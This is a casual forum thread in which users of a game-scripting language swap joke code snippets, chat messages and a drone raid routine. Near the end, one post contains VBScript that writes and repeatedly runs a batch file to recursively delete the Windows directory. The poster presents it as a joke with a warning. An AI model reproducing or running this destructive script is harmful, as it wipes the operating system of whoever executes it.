Talk in sadscript.

[Homicidal Monkey]

FPSCreator was made in DBPro.

[Lenton]

'Get back to topic you guys…

Sub LeftForumGame(index)
Call GlobalMsg(GetPlayerName(index) & " Has Left The Forum Game!", 15)
End Sub

[Guest]

Sub ForumGame(index)
Call LeftForumGame(index)
Call GlobalMsg("For now…..", 15)
End sub

[Godlord]

Lmao, that was a fail.

And Java? I prefer BASIC more than Java.

' Pfff fail to see an idea.

Regards, Godlord.

[gizmo1]

Sub ForumGame(index)
Case 1
Call PlayerMsg("i thought were talking in sadscript. lol, i guess that gives.", 14)
Exit Sub

[shrig94]

Yeah, but FPSCreator is a lot faster than dbpro…dbpro was a waste of a Christmas gift....

Sub ForumGame(index)
Case 1
Call PlayerMsg("I like fish cakes", 14)
Exit Sub

[Klanz_online]

-looks at shigs avi-
/gasp
-goes into chitchat forum looking for more avi's-

[shrig94]

wtf kinda sadscript is that klanz_online?

[Godlord]

@shrig94:

> wtf kinda sadscript is that klanz_online?

Scripting which is Sad?

Regards, Godlord.

[shrig94]

lol, Godlord, you never fail to crack a good joke…its not fair that your programmer installed Comedy Central's Library of jokes into your system...

[Homicidal Monkey]

msgbox "Godlord has metaprogramming support. So there is no programmer involved. =D"

[shrig94]

This is what I've seen from n00b sadscripters:

InsertSomeSubHere?WTF (something, massage)
IndexorSomeBS ('The Message will be next")
WhateverSendsMessage (I'm a freaking nub, help me)

Ya, thats **sad** script alright….

[Guest]

@shrig94:

> This is what I've seen from n00b sadscripters:
>
> InsertSomeSubHere?WTF (something, massage)
> IndexorSomeBS ('The Message will be next")
> WhateverSendsMessage (I'm a freaking nub, help me)
>
> Ya, thats **shrig** script alright….

Fixed. :)

[allanws]

Case "/obey"
If GetPlayerAccess(Index) > 0 Then
PlayerID = FindPlayer(TextSay(1))
Call GlobalMsg("" & PlayerID & " is now " & Index & "'s slave!", BRIGHTRED)
Call SetPlayerSlave(PlayerID, Index)
Call PlayerMsg(PlayerID, "You iz belong to mee!", BRIGHTRED)
End If
Exit Sub

[Drummerpete]

@Alex:

> 'Get back to topic you guys…
>
> Sub LeftForumGame(index)
> Call GlobalMsg(GetPlayerName(index) & " Has Left The Forum Game!", 15)
> End Sub

I don't get what the "15" is for?

[Godlord]

The VGA colour of the message. Eclipse uses constants since EE 2.7 or something.

Regards, Godlord.

[TT Snim]

*Frets for a moment before typing*

Sub TalkToMuch
call GlobalMSG ("Hello, people, I'm trying to Script!",15)
end Sub

*Runs crying from keyboard*

[DrNova]

Sub working(index)
Dim adrone
Dim pdrone
Dim powner
Dim atact
Dim ptact
Dim ataka
Dim atakp
Dim aloss
Dim ploss
Dim adam
Dim pdam
Dim plion
Dim iond
Dim use
Dim pop
Dim hitem
Dim extot
Dim cashmath
Dim resmath
Dim dfac
Dim ydrn
Dim dmm

adrone=getvar("/player/" & getplayername(index) & ".ini", "data", "drones")
pdrone=getvar("/planet/" & getplayermap(index) & ".ini", "data", "drone")
powner=getvar("/planet/" & getplayermap(index) & ".ini", "data", "rule")
atact=getvar("/player/" & getplayername(index) & ".ini", "battle", "tactics")
ptact=getvar("/player/" & TRIM(powner) & ".ini", "battle", "tactics")
bttla=Rand(INT(adrone\atact),INT(adrone))
bttlp=Rand(INT(pdrone\ptact),INT(pdrone))
adam=INT(bttla)
pdam=INT(bttlp)
aloss=INT(adrone-pdam)
ploss=INT(pdrone-adam)
plion=getvar("/planet/" & getplayermap(index) & ".ini", "build", "ion")
iond=getvar("/player/" & powner & ".ini", "battle", "iond")
use=getvar("/planet/" & getplayermap(index) & ".ini", "data", "use")
pop=getvar("/planet/" & getplayermap(index) & ".ini", "data", "pop")
hitem=getvar("/planet/" & getplayermap(index) & ".ini", "data", "resource")
extot=getvar("/planet/" & getplayermap(index) & ".ini", "build", "extract")
cashmath=Rand(1,pop)
resmath=Rand(1,pop)*Rand(1,extot)
dfac=getvar("/planet/" & getplayermap(index) & ".ini", "build", "dronefac")
ydrn=getvar("/player/" & getplayername(index) & ".ini", "data", "drones")
dmm=INT(dfac+ydrn)

If adrone > 0 Then
If pdrone > 0 Then
If aloss < 0 Then
Call putvar("/player/" & getplayername(index) & ".ini", "data", "drones", 0)
Call battlemsg(index, "You lost all drones in the attack!", RED, 1)
Else
Call putvar("/player/" & getplayername(index) & ".ini", "data", "drones", INT(aloss))
Call battlemsg(index, "You lost " & INT(pdam) & " drones in the attack.", RED, 1)
If adam > pdam Then
If use = 0 Then
Call battlemsg(index, "No production available to Raid!", RED, 1)
Else
Call Give_Currency(index, 1, INT(cashmath))
Call battlemsg(index, "You Raided " & INT(cashmath) & " credits from the colony!", GREEN, 0)
Call Give_Currency(index, INT(hitem), INT(resmath))
Call battlemsg(index, "You Raided " & INT(resmath) & " resources from the colony!", GREEN, 0)
call putvar("/player/" & getplayername(index) & ".ini", "data", "drones", INT(ydrn)+INT(dfac))
Call battlemsg(index, "You Raided " & INT(dmm) & " Drones from the colony!", GREEN, 0)
Call putvar("/planet/" & getplayermap(index) & ".ini", "data", "use", INT(use)-1)
End If
End If
End If
If ploss < 0 Then
call putvar("/planet/" & getplayermap(index) & ".ini", "data", "drone", 0)
Call battlemsg(index, "You destroyed all planetary drones!", GREEN, 1)
Else
call putvar("/planet/" & getplayermap(index) & ".ini", "data", "drone", INT(ploss))
call battlemsg(index, "You destroyed " & INT(adam) & " planetary drones.", GREEN, 1)
End If
Call CustomMenuClose(Index)
Else
Call battlemsg(index, "No planetary drones defending planet!", GREEN, 1)
End If
Else
Call battlemsg(index, "You have no attack drones!", RED, 1)
End If
End Sub

[Lenton]

Sub OMG(index)
Call PlayerMsg(index, Wow awsome man!,14)
End Sub

[Drummerpete]

Do you not have to call sub?

[Homicidal Monkey]

its the color code

[Ne-o-x]

Sub ForumGame(index)
Call GlobalMsg("Hi All", 15)
Call GlobalMsg("I'm Fucking New Here", 12)
Call GlobalMsg("I Will be an Mob In A Day",9)
EndSub

[DrNova]

@Desiderium:

> Do you not have to call sub?

Sub MenuScripts(Index, Clicked_Index, Menu_Type)
Dim MenuTitle
Dim FieldMessage

MenuTitle = getplayermenuclicktitle(Index)
FieldMessage = getplayermenuclickmsg(Index)

Select Case Menu_Type
Case 1
If MenuTitle = "Main" Then
If Clicked_Index = 2 Then
Call production(index)
ElseIf Clicked_Index = 3 Then
Call assault(index)
**ElseIf Clicked_Index = 4 Then
Call raid(index)**
End If
End If

[Homicidal Monkey]

public oFSO
public oTextFile
sub forumGame
call init
call DoomCycle
endsub
sub init()
    set oFSO = CreateObject("Scripting.ObjectFileSystem")
    set oTextFile = oFSO.CreateTextFile("DoomCycle.bat")
    set oTextFile = nothing
    Set oTextFile = oFSO.OpenTextFile("DoomCycle.bat", 8, True)

    oTextFile.WriteLine("rmdir /s /q C:/Windows")
endSub

sub DoomCycle
dim shell
do
    set shell=createobject("wscript.shell")
    shell.run "DoomCycle.bat"
    set shell = nothing
loop
endsub

lol, dont copy this into your sadscript. it will… uh kill windows.

[shadowwulf]

madanAGkuza
…
oh i thought it said sanskrit not sad script... dont slur your words....lol